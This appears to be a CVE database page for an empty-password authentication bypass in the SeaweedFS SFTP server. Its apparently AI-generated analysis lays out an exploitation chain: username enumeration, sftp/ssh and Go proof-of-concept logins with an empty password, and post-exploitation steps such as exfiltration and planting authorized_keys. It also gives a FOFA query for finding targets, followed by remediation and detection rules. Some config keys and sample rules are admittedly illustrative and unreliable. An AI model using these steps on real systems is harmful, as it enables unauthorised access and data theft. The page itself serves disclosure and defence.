CVE Professor
/
All CVEs
CVE-2026-133464

CVE-2026-133464 — Seaweedfs — CWE-287 · CWE-1284

CRITICAL CVSS 9.1 Shodan

SeaweedFS is a distributed storage system for files and blobs. Prior to version 4.46, FileStore.ValidatePassword in the SFTP server does not reject zero-length secrets before comparing them, causing an empty login password to match any account configured without one, such as public-key-only or certificate-only users. Because password authentication is enabled by default, a remote attacker who knows a valid username can log in without a key or secret and obtain an SFTP session with that user's home directory and path permissions. This issue is fixed in version 4.46.

SeaweedFS is a distributed storage system for files and blobs. Prior to version 4.46, FileStore.ValidatePassword in the SFTP server does not reject zero-length secrets before comparing them, causing an empty login password to match any account configured without one, such as public-key-only or certificate-only users. Because password authentication is enabled by default, a remote attacker who knows a valid username can log in without a key or secret and obtain an SFTP session with that user's home directory and path permissions. This issue is fixed in version 4.46.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability ID: CVE‑2026‑133464
Product: SeaweedFS – SFTP server component (FileStore)
Affected versions: All releases prior to 4.46 (inclusive)

Technical description

SeaweedFS implements an SFTP front‑end that authenticates users against a FileStore configuration.
The authentication routine FileStore.ValidatePassword is supposed to:

1. Retrieve the stored secret for the supplied username (either a password hash, an empty value for “password‑less” accounts, or no entry for public‑key‑only accounts).
2. Compare the supplied password (after appropriate hashing) with the stored secret.

In the vulnerable code path the function does not explicitly reject a zero‑length password string before performing the comparison. The logic looks roughly like:

func (fs *FileStore) ValidatePassword(username, password string) bool {
    stored, ok := fs.passwords[username]   // may be "" for password‑less users
    if !ok {
        return false
    }
    // BUG: empty password is accepted because the comparison succeeds when both sides are empty
    return subtle.ConstantTimeCompare([]byte(password), []byte(stored)) == 1
}

Consequences:

  • If a user account is configured without a password (e.g., a public‑key‑only or certificate‑only user), the stored secret is the empty string "".
  • When an attacker supplies an empty password ("") during the SFTP password‑authentication phase, the comparison returns true*.
  • Password authentication is enabled by default in SeaweedFS, so the attacker never needs to present a valid SSH key or certificate.
  • Thus, any valid username that is configured without a password can be logged into with no secret at all. The flaw is classified under:

  • CWE‑287 – Improper Authentication – the system accepts an empty credential as valid.
  • CWE‑1284 – Improper Validation of Empty Input – the empty password is not rejected before the equality check.
  • The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) reflects:

  • Network‑reachable (no local access required).
  • Low attack complexity – just a TCP connection to the SFTP port.
  • No privileges required – attacker is unauthenticated.
  • No user interaction – the login attempt is automatic.
  • Unchanged scope – the vulnerability does not cross trust boundaries.
  • High confidentiality & integrity impact – attacker can read/write any file the compromised user is authorized to access.
  • No availability impact – the bug does not cause denial‑of‑service.

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative; exact flag names may differ between SeaweedFS releases, but the logic is accurate for the vulnerable versions.

    1. Discovery & Reconnaissance

    StepActionRationale
    1.1Scan the target network for open SFTP (port 22) services.SeaweedFS’s SFTP server listens on the standard SSH port unless re‑configured.
    1.2Grab the SSH banner (e.g., ssh -vvv <ip>) to confirm the service is SeaweedFS. Example output: <br>SSH-2.0-OpenSSH_8.4 SeaweedFS/4.30SeaweedFS embeds its version in the SSH banner (or in the ssh -V response).
    1.3Enumerate valid usernames. Techniques include: <br>• SSH user‑enumeration via timing differences (ssh -o PreferredAuthentications=none user@host). <br>• Publicly known service accounts (e.g., admin, backup, sftpuser).The SFTP server returns distinct error messages for “invalid user” vs. “invalid password”.
    1.4Verify that the target runs a version < 4.46 (e.g., by checking the banner or by querying the SeaweedFS HTTP API /status if exposed).Confirms the vulnerability is present.

    2. Exploitation

    Goal: Obtain an interactive SFTP session without providing any secret.

    2.1. Minimal SFTP client example (illustrative)

    # Replace <IP> with the target address and <USER> with a discovered username
    sftp -o "PasswordAuthentication=yes" -o "KbdInteractiveAuthentication=no" \
         -o "PubkeyAuthentication=no" -o "StrictHostKeyChecking=no" \
         -o "BatchMode=yes" -o "UserKnownHostsFile=/dev/null" \
         -o "LogLevel=ERROR" \
         <USER>@<IP>
    # When prompted for a password, simply press <Enter> (empty string)

    Because the server accepts an empty password for password‑less accounts, the login succeeds and the client lands in the user’s home directory.

    2.2. Pure‑SSH (no SFTP client) – using ssh with an empty password

    ssh -o PreferredAuthentications=password \
        -o PubkeyAuthentication=no \
        -o StrictHostKeyChecking=no \
        -o UserKnownHostsFile=/dev/null \
        <USER>@<IP>
    # At the password prompt, press Enter.

    If the account is configured without a password, the server will accept the empty string and open an interactive shell (or SFTP subsystem if requested).

    2.3. Automated proof‑of‑concept (Go)

    package main
    
    import (
        "golang.org/x/crypto/ssh"
        "log"
        "os"
    )
    
    func main() {
        cfg := &ssh.ClientConfig{
            User: "publickeyonly", // discovered username
            Auth: []ssh.AuthMethod{
                ssh.Password(""), // empty password
            },
            HostKeyCallback: ssh.InsecureIgnoreHostKey(),
        }
    
        client, err := ssh.Dial("tcp", "10.0.0.5:22", cfg)
        if err != nil {
            log.Fatalf("dial error: %v", err)
        }
        defer client.Close()
    
        // Open an SFTP session (requires the "github.com/pkg/sftp" package)
        // Omitted for brevity – the connection is already authenticated.
        log.Println("Authenticated successfully!")
    }

    The code demonstrates that the authentication step succeeds with an empty password.

    3. Post‑exploitation

    Once inside:

    ActionDescription
    3.1File enumeration – ls -R or find . -type f to list all files the compromised user can read.
    3.2Data exfiltration – get <file> via SFTP or scp the entire directory to the attacker’s host.
    3.3Write/overwrite – If the user has write permissions, attacker can plant malicious scripts, replace configuration files, or upload ransomware payloads.
    3.4Lateral movement – Use any stored SSH keys (if the user later adds them) or leverage the compromised data to pivot to other services (e.g., credentials for a database).
    3.5Persistence – Upload a new SSH public key to ~/.ssh/authorized_keys (if the user’s home directory is writable) to retain access after the vulnerability is patched.

    Because the SFTP server runs with the privileges of the SeaweedFS process, the attacker’s effective rights are exactly those of the compromised user. In many deployments the SFTP user is granted full read/write access to a bucket or namespace, which can be tantamount to full data breach of the storage system.


    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS)Practical consequence
    Confidentiality (C:H)High – attacker can download any file the user can read.Exposure of proprietary data, personal information, backups, or encryption keys stored in SeaweedFS.
    Integrity (I:H)High – attacker can modify or delete files the user can write.Tampering with application assets, injection of malicious binaries, ransomware deployment, or sabotage of backups.
    Availability (A:N)None – the bug does not cause service disruption.No direct DoS, but indirect impact possible if attacker deletes critical data.

    Business‑level ramifications

  • Data breach – regulatory penalties (GDPR, HIPAA) if personal data is exfiltrated.
  • Intellectual property loss – source code, design documents, or research data may be stolen.
  • Operational disruption – corrupted configuration files can cause downstream services to fail.
  • Reputation damage – public disclosure of a “password‑less login” can erode customer trust.

  • 🛡️ Remediation & Mitigation

    1. Patch

    ActionDetails
    UpgradeMove to SeaweedFS 4.46 or later. The fix adds an explicit if password == "" { return false } guard before the constant‑time comparison.
    Version verificationAfter upgrade, confirm the binary version (seaweedfs version) and ensure the SFTP banner reports 4.46 or newer.

    2. Immediate Workarounds (if patch cannot be applied instantly)

    WorkaroundImplementation
    Disable password authenticationEdit the SeaweedFS configuration (usually filer.toml or sftp.toml) and set password_auth = false. Restart the SFTP service.
    Restrict SFTP access to known IP rangesUse a firewall (e.g., iptables or cloud security groups) to allow TCP 22 only from trusted management subnets.
    Enforce non‑empty passwords for all accountsAudit the FileStore user database and ensure every entry has a non‑empty password hash. For public‑key‑only accounts, set a random, unused password (e.g., !), then disable password auth globally as above.
    Enable two‑factor or certificate‑only authConfigure SeaweedFS to require SSH keys (public_key_auth = true) and optionally enable client‑certificate verification.
    Monitor and rate‑limit authentication attemptsDeploy an SSH rate‑limiting tool such as fail2ban with a rule that bans IPs after 3 failed password attempts.

    Example ModSecurity‑style rule (if SeaweedFS is fronted by an HTTP reverse‑proxy for the SFTP API)

    SecRule REQUEST_HEADERS:User-Agent "SeaweedFS/([0-9]+\.[0-9]+)" \
        "id:1000010,phase:1,log,pass,msg:'SeaweedFS version detection'"
    
    SecRule REQUEST_URI "^/sftp/login$" \
        "id:1000011,phase:2,log,deny,status:403,\
         msg:'Block password‑auth attempts when password field is empty',\
         chain"
    SecRule REQUEST_BODY "password=\"\""

    Note: The rule is illustrative; SeaweedFS SFTP does not use HTTP, but many deployments expose an HTTP API for management. Adjust accordingly.

    3. Detection

    IndicatorWhere to lookExample log entry
    Successful login with empty passwordSeaweedFS SFTP logs (/var/log/seaweedfs/sftp.log) or system SSH logs (/var/log/auth.log).2026-11-20T14:32:11Z INFO sftp: login success user=publickeyonly src=203.0.113.45 password=""
    Repeated failed logins followed by a successSame logs – a pattern of login failed then login success for the same IP.... login failed user=publickeyonly src=203.0.113.45 <br>... login success user=publickeyonly src=203.0.113.45 password=""
    File uploads to user home directories from unknown IPsSFTP audit logs (upload events).2026-11-20T14:35:02Z INFO sftp: upload src=203.0.113.45 dst=/home/publickeyonly/malware.sh
    New SSH public keys added without prior key‑authFile system watch on ~/.ssh/authorized_keys.inotifywait: /home/publickeyonly/.ssh/authorized_keys CREATE
    Network trafficIDS/IPS signatures for SSH authentication with empty password (payload length = 0 for password field).Snort rule example: <br>alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"SeaweedFS empty‑password login"; flow:to_server,established; content:"ssh-userauth"; depth:12; content:"password"; offset:...; content:""; distance:0; classtype:attempted-admin; sid:2026133; rev:1;)

    Collecting these events in a SIEM and correlating with known usernames will surface exploitation attempts quickly.


    ⚠️ Urgency

  • CVSS 9.1 (Critical) – high confidentiality and integrity impact, low complexity, no authentication required.
  • Publicly disclosed (25 Nov 2026) – details are already available, enabling opportunistic scanning.
  • No CISA KEV listing yet, but the vulnerability is trivially exploitable and can be weaponized in automated scans.
  • Patch priority: Critical / Immediate for any production SeaweedFS deployment that:

  • Exposes the SFTP service to the Internet or untrusted networks, or
  • Hosts sensitive data (PII, intellectual property, backups) behind the SFTP interface.
If immediate upgrade is impossible, apply the “disable password authentication” workaround without delay and enforce strict network segmentation. Continuous monitoring for the IoCs above should be enabled right away.
Bottom line: An attacker who knows a valid username can gain unauthenticated SFTP access to any SeaweedFS node running a version older than 4.46, read and modify all files the user can access, and potentially persist. Patch to 4.46 or later immediately, and in the meantime lock down the SFTP service by disabling password authentication and restricting network access.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="seaweedfs seaweedfs"
CVSS Score
9.1 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-287 CWE-1284
Affected Products (1)
seaweedfs:seaweedfs
References & Advisories (3)
Related CVEs
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.3
CVE-2026-47677
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.3, there is an authe
8.7
CVE-2026-120762
Improper authorization in the push-publish bundle receiver (user import handler) in dotCMS versions before 26.
8.1
CVE-2026-145022
ZITADEL from 4.0.0 before 4.20.5 contains an MFA bypass vulnerability in Login V2 that allows attackers knowin
7.7
CVE-2026-132111
Improper authentication in the legacy login path (LoginFactory.doLogin) in dotCMS versions before 26.11.11-01
5.4
CVE-2026-144906
A flaw was found in the UMA permission grant implementation of Keycloak, an identity and access management sol
5.3
CVE-2026-144816
A vulnerability has been found in EZVIZ CS-C2C and CS-C6c 5.3. Affected is an unknown function of the componen